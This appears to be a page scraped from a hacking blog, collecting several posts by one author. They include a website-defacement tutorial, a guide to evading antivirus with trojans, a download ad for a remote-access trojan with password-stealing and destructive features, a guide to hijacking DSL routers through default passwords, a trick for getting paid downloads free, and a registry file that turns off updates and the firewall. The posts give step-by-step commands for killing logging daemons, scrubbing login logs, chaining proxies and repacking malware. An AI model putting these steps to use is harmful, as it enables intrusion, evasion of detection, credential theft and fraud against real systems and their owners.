3008 Hosts.ip NokNok
3036 Nogzoeen.exe Nogzoeen
3062 Log.cgi Net-Devil CGI-logger
3072 Tloader1.exe K2 Turbo Loader
3072 Vbrun4x.dll K2 Turbo Loader
3072 Lang.exe Langex
3072 Webasylum.exe Web Asylum
3072 Server.exe WWWPW
3085 Trojanrunner98.txt God
3095 Upsddown.zip UpSideDown
3097 Folder.html Challenge
3104 Pager.exe ICQ Pager
3116 El15_bmp.zip El15 BMP
3124 17th.Inst.htm 17th.Inst
3141 Ban24.c Solaris rootkit
3178 Mawanella.vbs Mawanella
3193 Linkage.h Back Orifice Communications Library
3219 Dict.smp FTP SMTP
3232 Install.exe HD troj

Posted in Backdoors tutorials and tools, Hacking Tutorials, Tutorials by Dark Shade | 0 comments

How to Deface websites-Try it at ur own risk

This tutorial will be broken down into 3 main sections, they are as followed:
1. Finding Vuln Hosts.
2. Getting In.
3. Covering Your Tracks

It really is easy, and I will show you how easy it is.

1. Finding Vuln Hosts
This section needs to be further broken down into two catigories of script
kiddies: ones who scan the net for a host that is vuln to a certain exploit and
ones who search a certain site for any exploit. The ones you see on alldas are
the first kind, they scan thousands of sites for a specific exploit. They do not
care who they hack, anyone will do. They have no set target and not much of a
purpose. In my opinion these people should either have a cause behind what they
are doing, ie. "I make sure people keep up to date with security, I am a
messanger" or "I am spreading a political message, I use defacments to get media
attention". People who deface to get famous or to show off their skills need to
grow up and relize there is a better way of going about this (not that I support
the ones with other reasons ether). Anyways, the two kinds and what you need to
know about them:

Scanning Script Kiddie: You need to know what signs of the hole are, is it a
service? A certain OS? A CGI file? How can you tell if they are vuln? What
version(s) are vuln? You need to know how to search the net to find targets
which are running whatever is vuln. Use altavista.com or google.com for web
based exploits. Using a script to scan ip ranges for a certain port that runs
the vuln service. Or using netcraft.com to find out what kind of server they are
running and what extras it runs (frontpage, php, etc..) nmap and other port
scanners allow quick scans of thousands of ips for open ports. This is a
favorate technique of those guys you see with mass hacks on alldas.

Targetted Site Script Kiddie: More respectable then the script kiddies who hack
any old site. The main step here is gathering as much information about a site
as possible. Find out what OS they run at netcraft or by using: telnet
www.site.com 80 then GET / HTTP/1.1 Find out what services they run by doing a
port scan. Find out the specifics on the services by telnetting to them. Find
any cgi script, or other files which could allow access to the server if
exploited by checking /cgi /cgi-bin and browsing around the site (remember to
index browse)

Wasn't so hard to get the info was it? It may take awhile, but go through the
site slowly and get all the information you can.

2. Getting In
Now that we got the info on the site we can find the exploit(s) we can use to
get access. If you were a scanning script kiddie you would know the exploit
ahead of time. A couple of great places to look for exploits are Security Focus
and packetstorm. Once you get the exploit check and make sure that the exploit
is for the same version as the service, OS, script, etc.. Exploits mainly come
in two languages, the most used are C and perl. Perl scripts will end in .pl or
.cgi, while C will end in .c To compile a C file (on *nix systems) do gcc -o
exploit12 file.c then: ./exploit12 For perl just do: chmod 700 file.pl (not
really needed) then: perl file.pl. If it is not a script it might be a very
simple exploit, or just a theory of a possible exploit. Just do alittle research
into how to use it. Another thing you need to check is weither the exploit is
remote or local. If it is local you must have an account or physical access to
the computer. If it is remote you can do it over a network (internet).

Don't go compiling exploits just yet, there is one more important thing you need
to know

Covering Your Tracks
So by now you have gotten the info on the host inorder to find an exploit that
will allow you to get access. So why not do it? The problem with covering your
tracks isn't that it is hard, rather that it is unpredictable. just because you
killed the sys logging doesn't mean that they don't have another logger or IDS
running somewhere else. (even on another box). Since most script kiddies don't
know the skill of the admin they are targetting they have no way of knowing if
they have additional loggers or what. Instead the script kiddie makes it very
hard (next to impossible) for the admin to track them down. Many use a stolden
or second isp account to begin with, so even if they get tracked they won't get
caught. If you don't have the luxery of this then you MUST use multiple
wingates, shell accounts, or trojans to bounce off of. Linking them together
will make it very hard for someone to track you down. Logs on the wingates and
shells will most likely be erased after like 2-7 days. That is if logs are kept
at all. It is hard enough to even get ahold of one admin in a week, let alone
further tracking the script kiddie down to the next wingate or shell and then
getting ahold of that admin all before the logs of any are erased. And it is
rare for an admin to even notice an attack, even a smaller percent will actively
pursue the attacker at all and will just secure their box and forget it ever
happend. For the sake of arugment lets just say if you use wingates and shells,
don't do anything to piss the admin off too much (which will get them to call
authoritizes or try to track you down) and you deleting logs you will be safe.
So how do you do it?

We will keep this very short and too the point, so we'll need to get a few
wingates. Wingates by nature tend to change IPs or shutdown all the time, so you
need an updated list or program to scan the net for them. You can get a list of
wingates that is well updated at http://www.cyberarmy.com/lists/wingate/ and you
can also get a program called winscan there. Now lets say we have 3 wingates:

212.96.195.33 port 23
202.134.244.215 port 1080
203.87.131.9 port 23

to use them we go to telnet and connect to them on port 23. we should get a
responce like this:

CSM Proxy Server >

to connect to the next wingate we just type in it's ip:port

CSM Proxy Server >202.134.244.215:1080
If you get an error it is most likely to be that the proxy you are trying to
connect to isn't up, or that you need to login to the proxy. If all goes well
you will get the 3 chained together and have a shell account you are able to
connect to. Once you are in your shell account you can link shells together by:

[j00@server j00]$ ssh 212.23.53.74

You can get free shells to work with until you get some hacked shells, here is a
list of free shell accounts. And please remember to sign up with false
information and from a wingate if possible.

SDF (freeshell.org) - http://sdf.lonestar.org
GREX (cyberspace.org) - http://www.grex.org
NYX - http://www.nxy.net
ShellYeah - http://www.shellyeah.org
HOBBITON.org - http://www.hobbiton.org
FreeShells - http://www.freeshells.net
DucTape - http://www.ductape.net
Free.Net.Pl (Polish server) - http://www.free.net.pl
XOX.pl (Polish server) - http://www.xox.pl
IProtection - http://www.iprotection.com
CORONUS - http://www.coronus.com
ODD.org - http://www.odd.org
MARMOSET - http://www.marmoset.net
flame.org - http://www.flame.org
freeshells - http://freeshells.net.pk
LinuxShell - http://www.linuxshell.org
takiweb - http://www.takiweb.com
FreePort - http://freeport.xenos.net
BSDSHELL - http://free.bsdshell.net
ROOTshell.be - http://www.rootshell.be
shellasylum.com - http://www.shellasylum.com
Daforest - http://www.daforest.org
FreedomShell.com - http://www.freedomshell.com
LuxAdmin - http://www.luxadmin.org
shellweb - http://shellweb.net
blekko - http://blekko.net

once you get on your last shell you can compile the exploit, and you should be
safe from being tracked. But lets be even more sure and delete the evidence that
we were there.

Alright, there are a few things on the server side that all script kiddies need
to be aware of. Mostly these are logs that you must delete or edit. The real
script kiddies might even use a rootkit to automaticly delete the logs. Although
lets assume you aren't that lame. There are two main logging daemons which I
will cover, klogd which is the kernel logs, and syslogd which is the system
logs. First step is to kill the daemons so they don't log anymore of your
actions.

[root@hacked root]# ps -def | grep syslogd
[root@hacked root]# kill -9 pid_of_syslogd

in the first line we are finding the pid of the syslogd, in the second we are
killing the daemon. You can also use /etc/syslog.pid to find the pid of syslogd.

[root@hacked root]# ps -def | grep klogd
[root@hacked root]# kill -9 pid_of_klogd

Same thing happening here with klogd as we did with syslogd.

now that killed the default loggers the script kiddie needs to delete themself
from the logs. To find where syslogd puts it's logs check the /etc/syslog.conf
file. Of course if you don't care if the admin knows you were there you can
delete the logs completely. Lets say you are the lamest of the script kiddies, a
defacer, the admin would know that the box has been comprimised since the
website was defaced. So there is no point in appending the logs, they would just
delete them. The reason we are appending them is so that the admin will not even
know a break in has accurd. I'll go over the main reasons people break into a
box:

To deface the website. -

To sniff for other network passwords. - there are programs which allow you to
sniff other passwords sent from and to the box. If this box is on an ethernet
network then you can even sniff packets (which contain passwords) that are
destine to any box in that segment.

To mount a DDoS attack. - another lame reason, the admin has a high chance of
noticing that you comprimised him once you start sending hundreds of MBs through
his connection.

To mount another attack on a box. - this and sniffing is the most commonly used,
not lame, reason for exploiting something. Since you now how a rootshell you can
mount your attack from this box instead of those crappy freeshells. And you now
have control over the logging of the shell.

To get sensitive info. - some corperate boxes have alot of valueable info on
them. Credit card databases, source code for software, user/password lists, and
other top secret info that a hacker may want to have.

To learn and have fun. - many people do it for the thrill of hacking, and the
knowledge you gain. I don't see this as horrible a crime as defacing. as long as
you don't destroy anything I don't think this is very bad. Infact some people
will even help the admin patch the hole. Still illegal though, and best not to
break into anyone's box.

I'll go over the basic log files: utmp, wtmp, lastlog, and .bash_history
These files are usually in /var/log/ but I have heard of them being in /etc/
/usr/bin/ and other places. Since it is different on alot of boxes it is best to
just do a find / -iname 'utmp'|find / -iname 'wtmp'|find / -iname 'lastlog'. and
also search threw the /usr/ /var/ and /etc/ directories for other logs. Now for
the explanation of these 3.

utmp is the log file for who is on the system, I think you can see why this log
should be appended. Because you do not want to let anyone know you are in the
system. wtmp logs the logins and logouts as well as other info you want to keep
away from the admin. Should be appended to show that you never logged in or out.
and lastlog is a file which keeps records of all logins. Your shell's history is
another file that keeps a log of all the commands you issued, you should look
for it in your $ HOME directory and edit it, .sh_history, .history, and
.bash_history are the common names. you should only append these log files, not
delete them. if you delete them it will be like holding a big sign infront of
the admin saying "You've been hacked". Newbie script kiddies often deface and
then rm -rf / to be safe. I would avoid this unless you are really freaking out.
In this case I would suggest that you never try to exploit a box again. Another
way to find log files is to run a script to check for open files (and then
manually look at them to determine if they are logs) or do a find for files
which have been editted, this command would be: find / -ctime 0 -print

A few popular scripts which can hide your presence from logs include: zap, clear
and cloak. Zap will replace your presence in the logs with 0's, clear will clear
the logs of your presence, and cloak will replace your presence with different
information. acct-cleaner is the only heavily used script in deleting account
logging from my experience. Most rootkits have a log cleaning script, and once
you installed it logs are not kept of you anyways. If you are on NT the logs are
at C:\winNT\system32\LogFiles\, just delete them, nt admins most likely don't
check them or don't know what it means if they are deleted.

One final thing about covering your tracks, I won't go to into detail about this
because it would require a tutorial all to itself. I am talking about rootkits.
What are rootkits? They are a very widely used tool used to cover your tracks
once you get into a box. They will make staying hidden painfree and very easy.
What they do is replace the binaries like login, ps, and who to not show your
presence, ever. They will allow you to login without a password, without being
logged by wtmp or lastlog and without even being in the /etc/passwd file. They
also make commands like ps not show your processes, so no one knows what
programs you are running. They send out fake reports on netstat, ls, and w so
that everything looks the way it normally would, except anything you do is
missing. But there are some flaws in rootkits, for one some commands produce
strange effects because the binary was not made correctly. They also leave
fingerprints (ways to tell that the file is from a rootkit). Only smart/good
admins check for rootkits, so this isn't the biggest threat, but it should be
concidered. Rootkits that come with a LKM (loadable kernel module) are usually
the best as they can pretty much make you totally invisible to all others and
most admins wouldn't be able to tell they were comprimised.

In writting this tutorial I have mixed feelings. I do not want more script
kiddies out their scanning hundreds of sites for the next exploit. And I don't
want my name on any shouts. I rather would like to have people say "mmm, that
defacing crap is pretty lame" especially when people with no lives scan for
exploits everyday just to get their name on a site for a few minutes. I feel
alot of people are learning everything but what they need to know inorder to
break into boxes. Maybe this tutorial cut to the chase alittle and helps people
with some knowledge see how simple it is and hopefully make them see that
getting into a system is not all it's hyped up to be. It is not by any means a
full guide, I did not cover alot of things. I hope admins found this tutorial
helpful aswell, learning that no matter what site you run you should always keep
on top of the latest exploits and patch them. Protect yourself with IDS and try
finding holes on your own system (both with vuln scanners and by hand). Also
setting up an external box to log is not a bad idea. Admins should have also
seen alittle bit into the mind of a script kiddie and learned a few things he
does.. this should help you catch one if they break into your systems.

Posted in Hacking Tutorials, Tutorials by Dark Shade | 0 comments

Google Hacking

stop read the craps of web and read the book!! Shocked

File: Google Hacking for Penetration Testers.rar
DownloadLink: http://rapidshare.com/files/74353933/Google_Hacking_for_Penetration_Testers.rar

Posted in Hacking Tutorials, Tutorials by Dark Shade | 0 comments

Download stuff without paying

How To Download From A PayPal Site

Just a little basic html tip for those who are trying to download an application from sites which has an paypal order page & link to start you off.

Use a proxy when you try this to hide your ip as some sites will record your ip when you connect for security.

1) Rightclick your mouse (ctrl+click) viewsource and open the source of the site in an a texteditor
2) Search for the word "return"
3) Next to it you can find the url for the thank you page
4) Copy the url and paste it in your browser and you will see the download link

This works only if you can download instantly after payment, it will not work if the link needs to be emailed to you.

You can try it here to start with:
Code:
http://www.ramphelp.com/halfpipe.html

About half way down the page you will find:

http://www.ramphelp.com/65984523/thanks/68912hp654/26865thankyouhp08363215423.html ">

Copy the link into your browser and download.

Posted in Tutorials by Dark Shade | 0 comments

Making trojan undetectable

In this tutorial I will be showing you 4 ways of how to make a Trojan undetectable to Anti-Virus
software. I am sure there are more then 4, but these should help get you started.

1. Encryptors/Compressors:

You would think this should be the easiest way to UD (Undetect) a Trojan...but alas, it is not. The
problem is simply this, most people use the same Trojans and Packers so often that Anti-Virus software
knows pretty much all the signatures. They either use Ardamax Keylogger, Optix Pro, Beast, ProRat etc.
for Trojans. For Packers they use UPX, PECompress, AsPack, Mophine etc. Again, none of these combinations
work because all the signatures have been flagged. The best way this option will work is to find lesser
known Packers and Trojans to work with.

Try a Google search for Executable Packers. Get a few that you have not heard of before or that have a
decent rating. If it is not freeware, I am sure there will be a Crack for it. For Trojans, three good
resources are VXChaos, LeetUpload or VX Heaven. Remember to pick the ones that are not well known and try
to mix and match those Trojans and Packers.

2. Byte Adders:

This technique allows you to add junk bytes to your Trojan as to confuse Anti-Virus software. It does
this by moving the code around inside the executable as the bytes are being added. This means that the
signature will not be in the place the Anti-Virus expects it to be. A good tool for this would be
StealthTools v2.0 by Gobo.

3. Hex Editing:

This is much more complicated and takes a lot more practice to get right. The idea here is to find the
signature that Anti-Virus software has flagged inside of your Trojan and change it by adding a different
byte, or changing the Offset to one of its other equivalents.

The three things you will need here is a File Splitter, Hex Editor and a Anti-Virus Offset Finder. The
File Splitter will cut your executable into smaller files (preferably 1 byte per file). You then use your
Hex Editor on the file that holds the signature and change that signature. Or, you can keep the file complete
and use your AV Offset Finder to find the Offsets automatically and just change the signatures
found with your Hex Editor.

Step One: Place your Trojan Server in a folder.

Step Two: Split your Server with your File Splitter into 1 byte per file. This may make a lot of files in
your folder (depending on how large the Server is), but it is worth it because you will know that only
one or two of those files has the signature that is flagged and all the rest are clean.

Step Three: Scan your folder with your Anti-Virus software and make note of which files it says are
infected. Those will be the ones you edit.

Step Four: Open up each infected file with your Hex Editor and change the Offset. There is no fool proof
way of doing this, you will have to experiment. Since this will be a 1 byte file, there will not be much
you need to change. Just change one character or byte at a time and then save your progress. Re-scan
to see if it worked. If it did not, go back and try again.

Step Five: Once you feel that you have found all signatures and changed them, Rejoin your files with your
File Splitter and test your Server to see if it works. Remember that too much Editing will make your
Server useless so be careful.

(Optional) Step Six: Another good way is to use a Anti-Virus Offset Finder that will find the correct
Offset automatically so you do not have to search for them or split your Server. Get AV Devil 2.1 to
find the Offsets (password is: to0l-base).

You have to remember that different AV software use different signatures, so scan with as many as you
can.

4. Source:

The very best way to make an undetectable Trojan has always been to make your own. I know it may seem
like a daunting task to do, but it could be simpler then you think. Here I will give a few options on how
to do this. The reason why you would want to make your own Trojan is the fact that each time it is compiled, it is
given a new signature. Changing just a single string in the Source code can make it undetectable.

Option 1: Free Trojan Source Code.

Finding free Trojan source code is not hard. Again, going to places like VXChaos or Planet Source Code
can yield a plethora of really good and lesser known Trojan code. Pick what Programming Language you like
and look for examples. Not much needs to be changed to makes these undetectable. A simple recompile will
sometimes do the trick.

Option 2: Decompiling.

Some may call this "Stealing" source code. I like to call it "Borrowing". The first thing you need to
know is what language your Trojan is in. Lets say your Trojan was Optix Pro, your programming language
would be Delphi. A good Delphi Decompiler would be DeDe. Decompile Optix Pro with DeDe then recompile it
with a Delphi compiler and viola! Just change a few strings around within the source and you should have
a undetectable Optix Pro.

Another way would be to open your Trojan with a Debugger or Disassembler. Copy down the ASM code and then
recompile it in a ASM compiler. That maybe a bit more tricky, but the idea is the same. Try to convert
the executable into pure ASM as best you can. There are many free Debuggers/Disassemblers, Google for
them.

A word of warning, if you do find your own way of making a Trojan undetectable, DO NOT disclose it. You
will find your Trojan detected in a very short amount of time. What I have taught here are just the
basics of Trojan UDing. It will be up to you to use this knowledge and make it work. Also, DO NOT use
any online virus scans to see if your Trojan has been detected. Your signature will be captured and sent to
AV companies.

Well I hope this tutorial helped you out in some small way. Just one of the examples above could make an
undetectable Trojan, or you may need to mix and match them. Try what you can, don't be afraid
to experiment, and good luck!

Posted in Backdoors tutorials and tools, Hacking Tutorials, Tutorials by Dark Shade | 0 comments

Xhacker pro

How to run
User Name: Tom
Serial Number: 5233-19EB-A71C-C481
Password: ForTomAllen
You will need those details when the program starts!

Rat is Undetected! xD
Size: 7559KB Compressed - 25.7MB Extracted

Exterminator technology: In the Server Builder (very useful to create codes to totally moderate the security system of the victim before installing the server). With Exterminator you can make your own XAF script files to bypass\stop\uninstall any security application in the victim system (antivirus, firewall, anti-spyware, folder protection, notifiers).Exterminator includes a very flexible scripting system with dozens of options for Professional users.
? ? Exterminator Actions Files (XAFs): To learn how to use the Exterminator, the examples include ones for Kaspersky, McAfee and NAV 2007 editions.
? ? Denial-Of-Service Attack feature: Which allows you to use your victim's systems to make attacks to internet websites remotely. This version added 1 more method. Total of 3 methods of making Botnet(s).
? ? Startup Bypass (SUB) option in the Server Builder: To bind the server with any of the startup items already in the victim system to totally trick the victim and startup monitors.
? ? Firewall Bypass (FWB) option in the Server Builder: To inject the server in any running process and/or hide the server process from task managers (including third-party programs other than Windows Task Manager), to fake the firewalls.
? ? Damage functions including: Format Drives, Flood Drives, Delete Kernel files, and a new Plug-In for patching BIOS (may cause very much harm).
? ? 7 Extra very useful third-party programs: with their licenses.
? ? Reverse Connection and SIN (Static-IP-Notification): To get notified of victims instantly and bypass routers and firewalls preventing server from making direct connections.
? ? FTP server plug-in: turn the victim system into an FTP server, and connect to it via any FTP client to ease the file transfer.
? ? Undetectable version of the Password Stealer plug-in: totally undetectable for anti-virus and anti-spy ware programs. Includes new features, for example BIOS password dumping and lots of new applications passwords grabbing.
? ? 27 Extra Skins: For the Client interface, also the skin Editor is part of the programs package.
? Other Options (Besides buying the Professional version, you have other options)

Download Link :-
http://rapidshare.com/files/55646879/xHacker.3.ForTomAllen.rar

Posted in Backdoors tutorials and tools, Tools, Tools For Hacking by Dark Shade | 0 comments

New rapidshare kit

Bypass 1 hour LImit
Grabber 1.4.7 C
no. 1 proxy
Rapiddown 5.9 SE Cracked NEW
RApidshare Downloder ( Download as premium)
Rapidshare Premium Accounts NEW
Rapidshare.com Hack (unlimited Downloads).
And Much more

Download Link :- [hide]http://www.orbitfiles.com/download/id1932215772.html[/hide]

Posted in Leech by Dark Shade | 0 comments

Hack Dsl Router

This tutorial will explain to you how to hack someone's internet account thru his router.This hack is based on a secuirty exploit of the router's default password and the stupidity of the user.Explanation: when somebody buy's a xDSL/Cabel router, the router is set to manufactory defaults like IP range, user accounts, router table, and most important the security level. The last one we will exploit.Most routers will have a user friendly setup menu running on port 23 (telnet) and sometimes port 80 (http) or both.This is what we are looking for.
Step 1.
Get a multie IP range scanner like superscanner (superscanner is fast and easy to use, get it here).Get a xDSL/Cabel user IP range. This is a single user IP 212.129.169.196 so the ip range of this Internet provider is 212.129.xxx.xxx most likely it will be from 212.129.1.1 to 212.129.255.255 .To keep your scanning range not to big it's smart to scan from 212.129.1.1 to 212.129.1.255 it also depends of your bandwidth how fast the scan will be finished.The IP adres above is just a example any IP range from a xDSL/Cabel provider can be used for this hack.before you start scanning specify the TCP/IP ports. You know that we are looking for TCP port 23 (telnet) and TCP port 80 (http) so edit the list and select only port 23 and port 80.Now start scanning and wait for the results.When finished scanning look for a IP that has a open port 23 and 80. Write them down or remember them.
Step 2.
Way 1
This is important: Most routers have connection log capability so the last thing you want to do is making a connection with your own broadband connection so use a anonymouse proxy server or dailup connection with a fake name and address (56.9 modem for example) when connection to the victim's router.Now get a telnet program. Windows has a standard telnet program just go to start, select run and type down "telnet" without the ", click or enter OK.Select "connect" than "Remote system" enter IP adres of the victim in the "host name" field press OK.wait for your computer to make a connection. This way only works when the router has a open telnet port service running
Way 2
This is important: Most routers have connection log capability so the last thing you want to do is making a connection with your own broadband connection so use a anonymouse proxy server or dailup connection with a fake name and adres (56.9 modem for example) when connection to the victim's router.Open a Internet explorer windows enter the IP address of the victim after the http:// in the address bar.This way only works when the router has a open hyper text transfer protocol (http) service running.
Step 3
Entering the userfriendly setup menu. 9 out of 10 times the menu is protected by a loginname and password. When the user doesn't change any security value's the default password stay's usable.So the only thing you have to do is find out what type of router the victim uses. I use this tool: GFILanguard Network Security Scanner. (get it here) is good. When you find out the type of router that's been used get the wright loginname and password from this list (get it here. not every router is on the list)
Default router password list
Step 4
When you have a connection in telnet or internet expolorer you need to look for user accounts.PPP, PPtP, PPeP, PPoP, or such connection protocol. If this is not correct look for anything that maybe contains any info about the ISP account of the user.go to this option and open it. Most likely you will see a overview of user setup options.Now look for the username and password.In most case the username will be freely displayed so just write it down or what ever....The password is a different story. Allmost always the password is protected by ********* (stars) in the telnet way there is noway around it (goto another victim) but when you have a port 80 connection (http). Internet connection way open click right mouse key and select "View source" now look for the field where the star are at. most likely you can read it because in the source code the star are converted to normal ASCII text.If not get a "******** to text" convertor like snadboy's revelation V.2 (get it here) move the cursor over the ****** and....It's a miracle you can read the password.Now you have the username and password. There a million fun thing to do with that but more about that next time.check the tutorial page freqently.
Tips.
Beware on most routers only one person can be loget on simultaneous in the router setupmenu.Don't change anything in the router if you don't know what you are doing.

Posted in Tutorials by Dark Shade | 0 comments

All XP tricks

All xp tricks u can do with your xp
Be careful this can harm your pc very badly
One mistake and your system is gone

; Disclaimer: These tweaks MAY result in serious problems that may require
; you to reinstall your operating system. I cannot guarantee that problems
; resulting from modifications to the registry can be solved. Use this reg file
; at your own risk.
;
; ** WARNING: Some of these tweaks may not be suitable for your system. Make sure
; you go through the entire list below so that you may modify it according to
; your system and your preferences.
; In case you find a tweak that is not suitable or you plainly dont like it,
; please do not delete it. Instead just comment it out like these notes here.
;
; Also, when adding your own tweaks, please follow the same format followed here.
;
; These tweaks have been compiled from a lot of sources on the web, magazines,
; and from some tweaking programs themselves. Thanks for all those who have
; contributed to this file!
;
;
;---------------------------------------------------------------------------------
;
; ------------------------
; Understanding this file:
; ------------------------
;
; This reg file is divided into 9 sections:
; 1 Windows Services
; 2 Desktop Tweaks
; 3 StartMenu and TaskBar Tweaks
; 4 Explorer / System Tweaks
; 5 System / Hardware Tweaks
; 6 Visual Effects Tweaks
; 7 Internet Explorer
; 8 Security / Privacy Related
; 9 Misc. Application Tweaks
;
;
; Basic format / syntax :
; ----------------------
;
; You can use the semi-colon not only to comment, but also to DISABLE unneeded,
; unknown, or inapplicable tweaks. Its better to comment out a tweak with the;
; instead of plainly deleting it so that it can be re-enabled by others incase
; they require the tweak.
;
; For example, a standard tweak may look like this:
;
;;Disable Active Desktop
; [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
; "NoActiveDesktop"=dword:00000001
;
; The first line is the description of the tweak which is obviously commented (;)
; The second line shows the registry key
; The third line is the actual value/setting.
;
; The dword: stands for REG_DWORD type of keys and HAS to be in a 8 bit hex format
; as shown above. Usually 00000001 means yes or true, and 00000000 means no/false.
; To convert decimal (ordinary) values to hex, you can use the windows calculator
; (scientific mode) to convert decimal->hex.
;
; Note: You can directly jump to the various sections of this file by simply
; searching for the index number. Eg, if you search for (7/9), you'd directly
; reach the internet explorer tweaks section.
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;------(1/9)-------------------Windows Services--------------------------------------
;
; Note: Change the values to set the services to automatic, manual or disable
;
; 00000002 = Automatic
; 00000003 = Manual
; 00000004 = Disabled
;
; The following services have been set to disable by default

;Alerter
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Alerter]
"Start"=dword:00000004

;Automatic Updates
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]
"Start"=dword:00000004

;Background Intelligent Transfer Service
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BITS]
"Start"=dword:00000004

;ClipBook
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ClipSrv]
"Start"=dword:00000004

;Help and Support Service
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\helpsvc]
"Start"=dword:00000004

;ICF/ICS
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]
"Start"=dword:00000004

;IMAPI CD-Burning Service
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ImapiService]
"Start"=dword:00000004

;Indexing Service
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CiSvc]
"Start"=dword:00000004

;IPSEC
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PolicyAgent]
"Start"=dword:00000004

;Messenger Service (to stop spam. Does not affect MSN or Windows Messenger)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Messenger]
"Start"=dword:00000004

;NVIDIA Helper Service
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NVSvc]
"Start"=dword:00000004

;Performance Logs & Alerts
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SysmonLog]
"Start"=dword:00000004

;Remote Desktop Help Session Manager
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RDSessMgr]
"Start"=dword:00000004

;Remote Registry Service
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteRegistry]
"Start"=dword:00000004

;Routing and Remote Access
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess]
"Start"=dword:00000004

;SSDP Discovery Service (Universal Plug'n'Play)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SSDPSRV]
"Start"=dword:00000003

;System Restore
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\srservice]
"Start"=dword:00000004

;TCP/IP Helper
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LmHosts]
"Start"=dword:00000004

;Universal Plug'n'Play Service
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\upnphost]
"Start"=dword:00000003

;UPS
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UPS]
"Start"=dword:00000004

;Windows Time Service
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time]
"Start"=dword:00000004

;Wireless Zero Configuration
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WZCSVC]
"Start"=dword:00000002

;------------------------------------------------------------------------------------

;--------(2/9)------------------Desktop Tweaks---------------------------------------

;Disable Active Desktop
;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;"NoActiveDesktop"=dword:00000001

;Disable ClearType
;[HKEY_CURRENT_USER\Control Panel\Desktop]
;"FontSmoothing"="2"
;"FontSmoothingType"=dword:00000001

;Add "Services" to the right-click menu of "My Computer"
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\services]
@=hex(2):53,00,65,00,72,00,76,00,69,00,63,00,65,00,73,00,00,00
"SuppressionPolicy"=dword:4000003c
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\services\command]
@=hex(2):25,00,77,00,69,00,6e,00,64,00,69,00,72,00,25,00,5c,00,73,00,79,00,73, 00,74,00,65,00,6d,00,33,00,32,00,5c,00,6d,00,6d,00,63,00,2e,00,65,00,78,00, 65,00,20,00,2f,00,73,00,20,00,25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52, 00,6f,00,6f,00,74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00, 32,00,5c,00,73,00,65,00,72,00,76,00,69,00,63,00,65,00,73,00,2e,00,6d,00,73, 00,63,00,20,00,2f,00,73,00,00,00

;Add "Computer Management" to the right-click menu of "My Computer"
[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\services]
@=hex(2):53,00,65,00,72,00,76,00,69,00,63,00,65,00,73,00,00,00
"SuppressionPolicy"=dword:4000003c

[HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\services\command]
@=hex(2):25,00,77,00,69,00,6e,00,64,00,69,00,72,00,25,00,5c,00,73,00,79,00,73,\
00,74,00,65,00,6d,00,33,00,32,00,5c,00,6d,00,6d,00,63,00,2e,00,65,00,78,00,\
65,00,20,00,2f,00,73,00,20,00,25,00,77,00,69,00,6e,00,64,00,69,00,72,00,25,\
00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,65,00,\
72,00,76,00,69,00,63,00,65,00,73,00,2e,00,6d,00,73,00,63,00,00,00

;Remove Shared Documents from My Computer
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoSharedDocuments"=dword:00000001

;Allow renaming and removing of Recycle Bin
[HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder]
"Attributes"=hex:70,10,00,20
"CallForAttributes"=dword:00000040

;Remove Shortcut Arrows
[HKEY_CLASSES_ROOT\lnkfile]
"IsShortcut"=-

;Disables Windows Tour bubble popup
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Applets\Tour]
"RunCount"=dword:00000000

;Disable Baloon Tips
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"EnableBalloonTips"=dword:00000000

;Disable the Desktop Cleanup Wizard
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\CleanupWiz]
"NoRun"=dword:00000001

;Administrative tools on Control Panel
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace\{D20EA4E1-3957-11d2-A40B-0C5020524153}]
@="Administrative Tools"

